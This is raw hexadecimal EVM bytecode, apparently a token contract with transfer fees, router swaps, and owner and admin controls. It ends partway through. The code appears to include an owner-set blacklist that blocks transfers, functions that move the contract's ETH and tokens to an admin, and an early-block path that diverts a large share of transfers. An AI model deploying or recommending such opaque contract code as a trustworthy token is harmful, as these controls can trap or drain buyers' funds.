2620009e3576000855562000a2f565b82601f10620009fe57805160ff191683800117855562000a2f565b8280016001018555821562000a2f579182015b8281111562000a2e57825182559160200191906001019062000a11565b5b50905062000a3e919062000a50565b5090565b61024c8062005d1183390190565b5b8082111562000a6b57600081600090555060010162000a51565b5090565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a9c8262000a6f565b9050919050565b62000aae8162000a8f565b82525050565b6000819050919050565b62000ac98162000ab4565b82525050565b600060408201905062000ae6600083018562000aa3565b62000af5602083018462000abe565b9392505050565b600080fd5b60008115159050919050565b62000b188162000b01565b811462000b2457600080fd5b50565b60008151905062000b388162000b0d565b92915050565b60006020828403121562000b575762000b5662000afc565b5b600062000b678482850162000b27565b91505092915050565b62000b7b8162000a8f565b811462000b8757600080fd5b50565b60008151905062000b9b8162000b70565b92915050565b60006020828403121562000bba5762000bb962000afc565b5b600062000bca8482850162000b8a565b91505092915050565b600060408201905062000bea600083018562000aa3565b62000bf9602083018462000aa3565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c8e5780860481111562000c665762000c6562000c00565b5b600185161562000c765780820291505b808102905062000c868562000c2f565b945062000c46565b94509492505050565b60008262000ca9576001905062000d7c565b8162000cb9576000905062000d7c565b816001811462000cd2576002811462000cdd5762000d13565b600191505062000d7c565b60ff84111562000cf25762000cf162000c00565b5b8360020a91508482111562000d0c5762000d0b62000c00565b5b5062000d7c565b5060208310610133831016604e8410600b841016171562000d4d5782820a90508381111562000d475762000d4662000c00565b5b62000d7c565b62000d5c848484600162000c3c565b9250905081840481111562000d765762000d7562000c00565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d9d8262000ab4565b915062000daa8362000d83565b925062000dd97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c97565b905092915050565b600062000dee8262000ab4565b915062000dfb8362000ab4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e375762000e3662000c00565b5b828202905092915050565b600060208201905062000e59600083018462000abe565b92915050565b600060208201905062000e76600083018462000aa3565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ec457607f821691505b60208210810362000eda5762000ed962000e7c565b5b50919050565b614e218062000ef06000396000f3fe6080604052600436106102cd5760003560e01c8063737168ed11610175578063adc7955d116100dc578063d83d414311610095578063ec28438a1161006f578063ec28438a14610aa3578063f2fde38b14610acc578063f9aba09314610af5578063fcdb89ce14610b20576102d4565b8063d83d414314610a12578063dd62ed3e14610a3b578063e82bef2914610a78576102d4565b8063adc7955d14610918578063b3621cfb14610943578063bfac5ee01461096c578063c213d62d14610995578063c35660e4146109be578063ce0192f9146109e7576102d4565b806395d89b411161012e57806395d89b41146108065780639bb8534414610831578063a84248611461085c578063a9059cbb14610885578063a925a6bd146108c2578063aa4bde28146108ed576102d4565b8063737168ed1461071c5780637d3c13e9146107475780637f4949b51461075e57806385dc3004146107875780638718b24f146107b05780638da5cb5b146107db576102d4565b80632ae07bc611610234578063553193ca116101ed57806368092bd9116101c757806368092bd9146106885780636c580801146106b157806370a08231146106c8578063715018a614610705576102d4565b8063553193ca146105f7578063595dec3c146106225780636659606f1461065f576102d4565b80632ae07bc6146104f757806330509bca14610522578063313ce567146105395780633bfe62ca146105645780633c11100d1461058f5780634188bf5a146105cc576102d4565b80631c5ac473116102865780631c5ac473146103fd578063206c17bb1461041457806323b872dd1461043f57806324163a1e1461047c57806324c51970146104a557806327a14fc2146104ce576102d4565b806301986fad146102d957806305833c2b1461031657806306fdde031461033f578063095ea7b31461036a5780630a607930146103a757806318160ddd146103d2576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061030060048036038101906102fb9190613f79565b610b37565b60405161030d9190613fc1565b60405180910390f35b34801561032257600080fd5b5061033d60048036038101906103389190614008565b610b57565b005b34801561034b57600080fd5b50610354610c98565b60405161036191906140e1565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190614139565b610d2a565b60405161039e9190613fc1565b60405180910390f35b3480156103b357600080fd5b506103bc610d41565b6040516103c99190614188565b60405180910390f35b3480156103de57600080fd5b506103e7610d47565b6040516103f49190614188565b60405180910390f35b34801561040957600080fd5b50610412610d51565b005b34801561042057600080fd5b50610429610de9565b6040516104369190614202565b60405180910390f35b34801561044b57600080fd5b506104666004803603810190610461919061421d565b610e0f565b6040516104739190613fc1565b60405180910390f35b34801561048857600080fd5b506104a3600480360381019061049e9190614270565b610fb5565b005b3480156104b157600080fd5b506104cc60048036038101906104c79190613f79565b61104d565b005b3480156104da57600080fd5b506104f560048036038101906104f09190614270565b6111cf565b005b34801561050357600080fd5b5061050c611267565b60405161051991906142ac565b60405180910390f35b34801561052e57600080fd5b5061053761128d565b005b34801561054557600080fd5b5061054e6112f8565b60405161055b91906142e3565b60405180910390f35b34801561057057600080fd5b5061057961130f565b6040516105869190614188565b60405180910390f35b34801561059b57600080fd5b506105b660048036038101906105b19190613f79565b611315565b6040516105c39190613fc1565b60405180910390f35b3480156105d857600080fd5b506105e1611335565b6040516105ee91906142ac565b60405180910390f35b34801561060357600080fd5b5061060c61135b565b6040516106199190614188565b60405180910390f35b34801561062e57600080fd5b5061064960048036038101906106449190613f79565b611361565b6040516106569190613fc1565b60405180910390f35b34801561066b57600080fd5b5061068660048036038101906106819190614270565b611381565b005b34801561069457600080fd5b506106af60048036038101906106aa9190614008565b611419565b005b3480156106bd57600080fd5b506106c6611502565b005b3480156106d457600080fd5b506106ef60048036038101906106ea9190613f79565b6115de565b6040516106fc9190614188565b60405180910390f35b34801561071157600080fd5b5061071a611627565b005b34801561072857600080fd5b50610731611773565b60405161073e9190614188565b60405180910390f35b34801561075357600080fd5b5061075c611779565b005b34801561076a57600080fd5b5061078560048036038101906107809190614270565b611855565b005b34801561079357600080fd5b506107ae60048036038101906107a99190613f79565b6118ed565b005b3480156107bc57600080fd5b506107c5611a6f565b6040516107d2919061431f565b60405180910390f35b3480156107e757600080fd5b506107f0611a95565b6040516107fd91906142ac565b60405180910390f35b34801561081257600080fd5b5061081b611abe565b60405161082891906140e1565b60405180910390f35b34801561083d57600080fd5b50610846611b50565b6040516108539190614188565b60405180910390f35b34801561086857600080fd5b50610883600480360381019061087e9190614008565b611b56565b005b34801561089157600080fd5b506108ac60048036038101906108a79190614139565b611c97565b6040516108b99190613fc1565b60405180910390f35b3480156108ce57600080fd5b506108d7611cae565b6040516108e49190614188565b60405180910390f35b3480156108f957600080fd5b50610902611cb4565b60405161090f9190614188565b60405180910390f35b34801561092457600080fd5b5061092d611cba565b60405161093a9190614188565b60405180910390f35b34801561094f57600080fd5b5061096a60048036038101906109659190614270565b611cc0565b005b34801561097857600080fd5b50610993600480360381019061098e919061433a565b611d58565b005b3480156109a157600080fd5b506109bc60048036038101906109b79190614270565b611ec2565b005b3480156109ca57600080fd5b506109e560048036038101906109e09190614270565b611fb2565b005b3480156109f357600080fd5b506109fc61204a565b604051610a099190614188565b60405180910390f35b348015610a1e57600080fd5b50610a396004803603810190610a349190614008565b612050565b005b348015610a4757600080fd5b50610a626004803603810190610a5d919061438d565b612191565b604051610a6f9190614188565b60405180910390f35b348015610a8457600080fd5b50610a8d612218565b604051610a9a91906142ac565b60405180910390f35b348015610aaf57600080fd5b50610aca6004803603810190610ac59190614270565b61223e565b005b348015610ad857600080fd5b50610af36004803603810190610aee9190613f79565b6122d6565b005b348015610b0157600080fd5b50610b0a612490565b604051610b1791906142ac565b60405180910390f35b348015610b2c57600080fd5b50610b356124b6565b005b60086020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bfe57503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490614419565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060058054610ca790614468565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd390614468565b8015610d205780601f10610cf557610100808354040283529160200191610d20565b820191906000526020600020905b815481529060010190602001808311610d0357829003601f168201915b5050505050905090565b6000610d3733848461254e565b6001905092915050565b60145481565b6000600a54905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd6906144e5565b60405180910390fd5b6000601981905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e1c848484612639565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610faa5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299190614534565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906144e5565b60405180910390fd5b8060128190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806110f457503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90614419565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611254906144e5565b60405180910390fd5b80600c8190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156112f5573d6000803e3d6000fd5b50565b6000600760009054906101000a900460ff16905090565b60155481565b600f6020528060005260406000206000915054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906144e5565b60405180910390fd5b8060148190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e906144e5565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611590576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611587906144e5565b60405180910390fd5b6017546000146115d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cc906145b4565b60405180910390fd5b43601781905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac906144e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe906144e5565b60405180910390fd5b60195460001461184c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184390614620565b60405180910390fd5b43601981905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118da906144e5565b60405180910390fd5b8060158190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061199457503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614419565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054611acd90614468565b80601f0160208091040260200160405190810160405280929190818152602001828054611af990614468565b8015611b465780601f10611b1b57610100808354040283529160200191611b46565b820191906000526020600020905b815481529060010190602001808311611b2957829003601f168201915b5050505050905090565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611bfd57503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3390614419565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611ca4338484612639565b6001905092915050565b60135481565b600c5481565b60165481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d45906144e5565b60405180910390fd5b8060168190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611dff57503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590614419565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b8152600401611e79929190614640565b6020604051808303816000875af1158015611e98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ebc919061467e565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611f6957503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9f90614419565b60405180910390fd5b80601e8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612037906144e5565b60405180910390fd5b8060138190555050565b60125481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806120f757503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212d90614419565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c3906144e5565b60405180910390fd5b80600b8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235b906144e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ca906146f7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253b906144e5565b60405180910390fd5b6000601781905550565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161262c9190614188565b60405180910390a3505050565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126bd90614763565b60405180910390fd5b60006126d1846115de565b905081811015612716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270d906147cf565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127ba5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127ec57600061271061270f836127d291906147ef565b6127dc9190614878565b9050808311156127ea578092505b505b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128905750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561290757600080600090505b600081136128f5578084426040516020016128ba939291906148f5565b6040516020818303038152906040528051906020012060001c91506128e186836064612cda565b5080806128ed90614932565b91505061289d565b506064836129039190614534565b9250505b600080600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129ab5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c7457600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a545750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c1c57601754600003612afe576019546000108015612abe5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af4906149c6565b60405180910390fd5b5b6002601754612b0d91906149e6565b431015612b2757612b1f868686612ead565b505050612cd5565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612c1757601060009054906101000a900460ff16612c16576000612b98306115de565b90506000811115612c14576000601654601454601554601354601254612bbe91906149e6565b612bc891906149e6565b612bd291906149e6565b612bdc91906149e6565b905060006113888288612bef91906147ef565b612bf99190614878565b905082811115612c07578290505b612c118183612fa1565b50505b505b5b600191505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612c7357600190505b5b612c81868686858561366c565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612cd1578015612cc457612cc38661380a565b5b612cd06207a12061399d565b5b5050505b505050565b6000612d65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d5c9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dfa82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dc090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e9a9190614188565b60405180910390a3600190509392505050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ef89190614534565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064602d83612f4c91906147ef565b612f569190614878565b9050612f8584600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613e1e565b612f9b84848385612f969190614534565b613e1e565b50505050565b6001601060006101000a81548160ff0219169083151502179055508081612fc891906149e6565b9050600060165490506000828285612fe091906147ef565b612fea9190614878565b90506000600267ffffffffffffffff81111561300957613008614a3c565b5b6040519080825280602002602001820160405280156130375781602001602082028036833780820191505090505b509050308160008151811061304f5761304e614a6b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106130c0576130bf614a6b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d79583876131449190614534565b600084601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161318b959493929190614b93565b600060405180830381600087803b1580156131a557600080fd5b505af11580156131b9573d6000803e3d6000fd5b5050505082846131c99190614534565b93506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161324f91906142ac565b602060405180830381865afa15801561326c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132909190614c02565b905060008660026015546012546132a791906149e6565b846132b291906147ef565b6132bc91906147ef565b6132c69190614878565b905060006002826132d79190614878565b9050600081836132e79190614534565b90508473ffffffffffffffffffffffffffffffffffffffff166323b872dd601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161336a93929190614c2f565b6020604051808303816000875af1158015613389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133ad919061467e565b508473ffffffffffffffffffffffffffffffffffffffff166323b872dd601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b815260040161342f93929190614c2f565b6020604051808303816000875af115801561344e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613472919061467e565b508473ffffffffffffffffffffffffffffffffffffffff166323b872dd601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163086886134bf9190614534565b6040518463ffffffff1660e01b81526004016134dd93929190614c2f565b6020604051808303816000875af11580156134fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613520919061467e565b50600087111561364557600089898661353991906147ef565b6135439190614878565b9050600081111561364357600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8e3370030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168b85600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518963ffffffff1660e01b81526004016135fc989796959493929190614c66565b6060604051808303816000875af115801561361b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061363f9190614ce4565b5050505b505b50505050505050506000601060006101000a81548160ff0219169083151502179055505050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b79190614534565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156137ec576000821561372e5760165460145460155461371d91906149e6565b61372791906149e6565b90506137a9565b600b5485111561373d57600080fd5b600c5485600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461378b91906149e6565b111561379657600080fd5b6013546012546137a691906149e6565b90505b600061271082876137ba91906147ef565b6137c49190614878565b905060008111156137e95780836137db91906149e6565b92506137e8883083613e1e565b5b50505b613802868683876137fd9190614534565b613e1e565b505050505050565b6000813b9050600081111561381f575061399a565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460000361399857601a80549050600014806138e557508173ffffffffffffffffffffffffffffffffffffffff16601a6000815481106138a1576138a0614a6b565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561399757601a80549050601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601a829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b505b50565b4360c8601f546139ad91906149e6565b11613d59576000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a1491906142ac565b602060405180830381865afa158015613a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a559190614c02565b9050601e54811015613a68575050613d59565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613adc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b009190614c02565b9050600080600080601a80549050905060